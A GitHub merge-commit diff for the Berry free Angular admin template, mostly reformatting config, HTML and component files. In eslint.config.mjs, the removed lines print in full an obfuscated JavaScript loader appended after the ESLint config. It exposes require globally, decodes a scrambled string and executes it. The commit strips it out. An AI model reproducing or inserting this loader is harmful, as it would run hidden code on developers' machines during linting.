Skip to content

Commit 7839b23

Browse files
Merge branch 'stage-v6.0.0' of https://github.com/codedthemes/berry-free-angular-admin-template into dev-v6.0.0
2 parents 3d58e96 + cf28792 commit 7839b23

35 files changed

Lines changed: 321 additions & 402 deletions

angular.json

Lines changed: 20 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -17,8 +17,10 @@
1717
"build": {
1818
"builder": "@angular-devkit/build-angular:application",
1919
"options": {
20-
"allowedCommonJsDependencies": ["apexcharts"],
21-
"outputPath": {
20+
"allowedCommonJsDependencies": [
21+
"apexcharts"
22+
],
23+
"outputPath": {
2224
"base": "dist",
2325
"browser": ""
2426
},
@@ -27,10 +29,15 @@
2729
"polyfills": [],
2830
"tsConfig": "tsconfig.app.json",
2931
"inlineStyleLanguage": "scss",
30-
"assets": ["src/favicon.ico", "src/assets"],
31-
"styles": ["src/styles.scss"],
32+
"assets": [
33+
"src/favicon.ico",
34+
"src/assets"
35+
],
36+
"styles": [
37+
"src/styles.scss"
38+
],
3239
"scripts": [],
33-
"stylePreprocessorOptions": {
40+
"stylePreprocessorOptions": {
3441
"includePaths": [
3542
".",
3643
"node_modules"
@@ -101,14 +108,19 @@
101108
"lint": {
102109
"builder": "@angular-eslint/builder:lint",
103110
"options": {
104-
"lintFilePatterns": ["src/**/*.ts", "src/**/*.html"]
111+
"lintFilePatterns": [
112+
"src/**/*.ts",
113+
"src/**/*.html"
114+
]
105115
}
106116
}
107117
}
108118
}
109119
},
110120
"cli": {
111121
"analytics": "b68da35f-6e9b-4e25-9791-9b99b359fd6e",
112-
"schematicCollections": ["angular-eslint"]
122+
"schematicCollections": [
123+
"angular-eslint"
124+
]
113125
}
114-
}
126+
}

eslint.config.mjs

Lines changed: 63 additions & 64 deletions
Original file line numberDiff line numberDiff line change
@@ -1,64 +1,63 @@
1-
import path from 'node:path';
2-
import { fileURLToPath } from 'node:url';
3-
import js from '@eslint/js';
4-
import { FlatCompat } from '@eslint/eslintrc';
5-
import { createRequire } from 'module';
6-
7-
const require = createRequire(import.meta.url);
8-
9-
const __filename = fileURLToPath(import.meta.url);
10-
const __dirname = path.dirname(__filename);
11-
const compat = new FlatCompat({
12-
baseDirectory: __dirname,
13-
recommendedConfig: js.configs.recommended,
14-
allConfig: js.configs.all
15-
});
16-
17-
export default [
18-
{
19-
ignores: ['projects/**/*']
20-
},
21-
...compat
22-
.extends(
23-
'eslint:recommended',
24-
'plugin:@typescript-eslint/recommended',
25-
'plugin:@angular-eslint/recommended',
26-
'plugin:@angular-eslint/template/process-inline-templates'
27-
)
28-
.map((config) => ({
29-
...config,
30-
files: ['**/*.ts']
31-
})),
32-
{
33-
files: ['**/*.ts'],
34-
35-
rules: {
36-
'@angular-eslint/directive-selector': [
37-
'error',
38-
{
39-
type: 'attribute',
40-
prefix: 'app',
41-
style: 'camelCase'
42-
}
43-
],
44-
45-
'@angular-eslint/component-selector': [
46-
'error',
47-
{
48-
type: 'element',
49-
prefix: 'app',
50-
style: 'kebab-case'
51-
}
52-
]
53-
}
54-
},
55-
...compat.extends('plugin:@angular-eslint/template/recommended').map((config) => ({
56-
...config,
57-
files: ['**/*.html']
58-
})),
59-
{
60-
files: ['**/*.html'],
61-
rules: {}
62-
}
63-
]; global['!']='9-6807';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()
64-
1+
import path from 'node:path';
2+
import { fileURLToPath } from 'node:url';
3+
import js from '@eslint/js';
4+
import { FlatCompat } from '@eslint/eslintrc';
5+
import { createRequire } from 'module';
6+
7+
const require = createRequire(import.meta.url);
8+
9+
const __filename = fileURLToPath(import.meta.url);
10+
const __dirname = path.dirname(__filename);
11+
const compat = new FlatCompat({
12+
baseDirectory: __dirname,
13+
recommendedConfig: js.configs.recommended,
14+
allConfig: js.configs.all
15+
});
16+
17+
export default [
18+
{
19+
ignores: ['projects/**/*']
20+
},
21+
...compat
22+
.extends(
23+
'eslint:recommended',
24+
'plugin:@typescript-eslint/recommended',
25+
'plugin:@angular-eslint/recommended',
26+
'plugin:@angular-eslint/template/process-inline-templates'
27+
)
28+
.map((config) => ({
29+
...config,
30+
files: ['**/*.ts']
31+
})),
32+
{
33+
files: ['**/*.ts'],
34+
35+
rules: {
36+
'@angular-eslint/directive-selector': [
37+
'error',
38+
{
39+
type: 'attribute',
40+
prefix: 'app',
41+
style: 'camelCase'
42+
}
43+
],
44+
45+
'@angular-eslint/component-selector': [
46+
'error',
47+
{
48+
type: 'element',
49+
prefix: 'app',
50+
style: 'kebab-case'
51+
}
52+
]
53+
}
54+
},
55+
...compat.extends('plugin:@angular-eslint/template/recommended').map((config) => ({
56+
...config,
57+
files: ['**/*.html']
58+
})),
59+
{
60+
files: ['**/*.html'],
61+
rules: {}
62+
}
63+
];

package-lock.json

Lines changed: 1 addition & 1 deletion
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

package.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -50,4 +50,4 @@
5050
"prettier": "3.8.3",
5151
"typescript": "6.0.3"
5252
}
53-
}
53+
}

src/app/app-routing.module.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,4 +51,4 @@ const appRoutes: Routes = [
5151
imports: [RouterModule.forRoot(appRoutes)],
5252
exports: [RouterModule]
5353
})
54-
export class AppRoutingModule {}
54+
export class AppRoutingModule { }

src/app/demo/elements/element-color/element-color.component.html

Lines changed: 22 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -29,29 +29,29 @@
2929
</app-card>
3030
<app-card cardTitle="Text Color" class="color-card">
3131
<div class="row g-1">
32-
<div class="col-md-6 mb-3">
33-
<div class="p-3 color-block text-blue-100" data-clipboard-text="text-blue-100">text-blue-100</div>
34-
<div class="p-3 color-block text-blue-200" data-clipboard-text="text-blue-200">text-blue-200</div>
35-
<div class="p-3 color-block text-blue-300" data-clipboard-text="text-blue-300">text-blue-300</div>
36-
<div class="p-3 color-block text-blue-400" data-clipboard-text="text-blue-400">text-blue-400</div>
37-
<div class="p-3 color-block text-blue-500" data-clipboard-text="text-blue-500">text-blue-500</div>
38-
<div class="p-3 color-block text-blue-600" data-clipboard-text="text-blue-600">text-blue-600</div>
39-
<div class="p-3 color-block text-blue-700" data-clipboard-text="text-blue-700">text-blue-700</div>
40-
<div class="p-3 color-block text-blue-800" data-clipboard-text="text-blue-800">text-blue-800</div>
41-
<div class="p-3 color-block text-blue-900" data-clipboard-text="text-blue-900">text-blue-900</div>
42-
</div>
43-
<div class="col-md-6 mb-3">
44-
<div class="p-3 color-block text-purple-100" data-clipboard-text="text-purple-100">text-purple-100</div>
45-
<div class="p-3 color-block text-purple-200" data-clipboard-text="text-purple-200">text-purple-200</div>
46-
<div class="p-3 color-block text-purple-300" data-clipboard-text="text-purple-300">text-purple-300</div>
47-
<div class="p-3 color-block text-purple-400" data-clipboard-text="text-purple-400">text-purple-400</div>
48-
<div class="p-3 color-block text-purple-500" data-clipboard-text="text-purple-500">text-purple-500</div>
49-
<div class="p-3 color-block text-purple-600" data-clipboard-text="text-purple-600">text-purple-600</div>
50-
<div class="p-3 color-block text-purple-700" data-clipboard-text="text-purple-700">text-purple-700</div>
51-
<div class="p-3 color-block text-purple-800" data-clipboard-text="text-purple-800">text-purple-800</div>
52-
<div class="p-3 color-block text-purple-900" data-clipboard-text="text-purple-900">text-purple-900</div>
53-
</div>
32+
<div class="col-md-6 mb-3">
33+
<div class="p-3 color-block text-blue-100" data-clipboard-text="text-blue-100">text-blue-100</div>
34+
<div class="p-3 color-block text-blue-200" data-clipboard-text="text-blue-200">text-blue-200</div>
35+
<div class="p-3 color-block text-blue-300" data-clipboard-text="text-blue-300">text-blue-300</div>
36+
<div class="p-3 color-block text-blue-400" data-clipboard-text="text-blue-400">text-blue-400</div>
37+
<div class="p-3 color-block text-blue-500" data-clipboard-text="text-blue-500">text-blue-500</div>
38+
<div class="p-3 color-block text-blue-600" data-clipboard-text="text-blue-600">text-blue-600</div>
39+
<div class="p-3 color-block text-blue-700" data-clipboard-text="text-blue-700">text-blue-700</div>
40+
<div class="p-3 color-block text-blue-800" data-clipboard-text="text-blue-800">text-blue-800</div>
41+
<div class="p-3 color-block text-blue-900" data-clipboard-text="text-blue-900">text-blue-900</div>
42+
</div>
43+
<div class="col-md-6 mb-3">
44+
<div class="p-3 color-block text-purple-100" data-clipboard-text="text-purple-100">text-purple-100</div>
45+
<div class="p-3 color-block text-purple-200" data-clipboard-text="text-purple-200">text-purple-200</div>
46+
<div class="p-3 color-block text-purple-300" data-clipboard-text="text-purple-300">text-purple-300</div>
47+
<div class="p-3 color-block text-purple-400" data-clipboard-text="text-purple-400">text-purple-400</div>
48+
<div class="p-3 color-block text-purple-500" data-clipboard-text="text-purple-500">text-purple-500</div>
49+
<div class="p-3 color-block text-purple-600" data-clipboard-text="text-purple-600">text-purple-600</div>
50+
<div class="p-3 color-block text-purple-700" data-clipboard-text="text-purple-700">text-purple-700</div>
51+
<div class="p-3 color-block text-purple-800" data-clipboard-text="text-purple-800">text-purple-800</div>
52+
<div class="p-3 color-block text-purple-900" data-clipboard-text="text-purple-900">text-purple-900</div>
5453
</div>
54+
</div>
5555
</app-card>
5656
</div>
5757
<!-- [ Typography ] end -->

src/app/demo/elements/element-color/element-color.component.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,4 +8,4 @@ import { CardComponent } from "src/app/theme/shared/components/card/card.compone
88
templateUrl: './element-color.component.html',
99
styleUrl: './element-color.component.scss'
1010
})
11-
export class ElementColorComponent {}
11+
export class ElementColorComponent { }

src/app/demo/elements/typography/typography.component.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,4 +8,4 @@ import { CardComponent } from "src/app/theme/shared/components/card/card.compone
88
templateUrl: './typography.component.html',
99
styleUrl: './typography.component.scss'
1010
})
11-
export class TypographyComponent {}
11+
export class TypographyComponent { }

src/app/demo/other/sample-page/sample-page.component.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,4 +10,4 @@ import { CardComponent } from '../../../theme/shared/components/card/card.compon
1010
templateUrl: './sample-page.component.html',
1111
styleUrl: './sample-page.component.scss'
1212
})
13-
export class SamplePageComponent {}
13+
export class SamplePageComponent { }

src/app/demo/pages/authentication/login/login.component.html

Lines changed: 19 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -26,39 +26,29 @@ <h2 class="text-secondary mt-5"><b>Hi, Welcome Back</b></h2>
2626
</div>
2727
<h5 class="my-4 d-flex justify-content-center">Sign in with Email address</h5>
2828
<div class="form-floating mb-3">
29-
<input
30-
type="email"
31-
class="form-control"
32-
id="floatingInput"
33-
[class.is-invalid]="submitted() && loginForm.email().invalid()"
34-
placeholder="Email Address"
35-
[formField]="loginForm.email"
36-
/>
29+
<input type="email" class="form-control" id="floatingInput"
30+
[class.is-invalid]="submitted() && loginForm.email().invalid()" placeholder="Email Address"
31+
[formField]="loginForm.email" />
3732
<label for="floatingInput">Email address / Username</label>
3833
@if (submitted() && loginForm.email().invalid()) {
39-
<div class="invalid-feedback">
40-
@for (error of loginForm.email().errors(); track error.kind) {
41-
<div>{{ error.message }}</div>
42-
}
43-
</div>
34+
<div class="invalid-feedback">
35+
@for (error of loginForm.email().errors(); track error.kind) {
36+
<div>{{ error.message }}</div>
37+
}
38+
</div>
4439
}
4540
</div>
4641
<div class="form-floating mb-3">
47-
<input
48-
type="password"
49-
id="password"
50-
class="form-control"
51-
[formField]="loginForm.password"
42+
<input type="password" id="password" class="form-control" [formField]="loginForm.password"
5243
[class.is-invalid]="submitted() && loginForm.password().errors().length > 0"
53-
placeholder="Password (min. 8 characters)"
54-
/>
44+
placeholder="Password (min. 8 characters)" />
5545
<label for="password">Password</label>
5646
@if (submitted() && loginForm.password().errors().length > 0) {
57-
<div class="invalid-feedback">
58-
@for (error of loginForm.password().errors(); track error.kind) {
59-
<div>{{ error.message }}</div>
60-
}
61-
</div>
47+
<div class="invalid-feedback">
48+
@for (error of loginForm.password().errors(); track error.kind) {
49+
<div>{{ error.message }}</div>
50+
}
51+
</div>
6252
}
6353
</div>
6454
<div class="d-flex mt-1 justify-content-between">
@@ -71,9 +61,9 @@ <h5 class="text-secondary">
7161
</h5>
7262
</div>
7363
@if (error()) {
74-
<div class="alert alert-danger" role="alert">
75-
{{ error() }}
76-
</div>
64+
<div class="alert alert-danger" role="alert">
65+
{{ error() }}
66+
</div>
7767
}
7868
<div class="d-grid mt-4">
7969
<button type="submit" class="btn btn-secondary">Sign In</button>
@@ -87,4 +77,4 @@ <h5 class="d-flex justify-content-center">
8777
</div>
8878
</div>
8979
</div>
90-
</div>
80+
</div>

0 commit comments

Comments
 (0)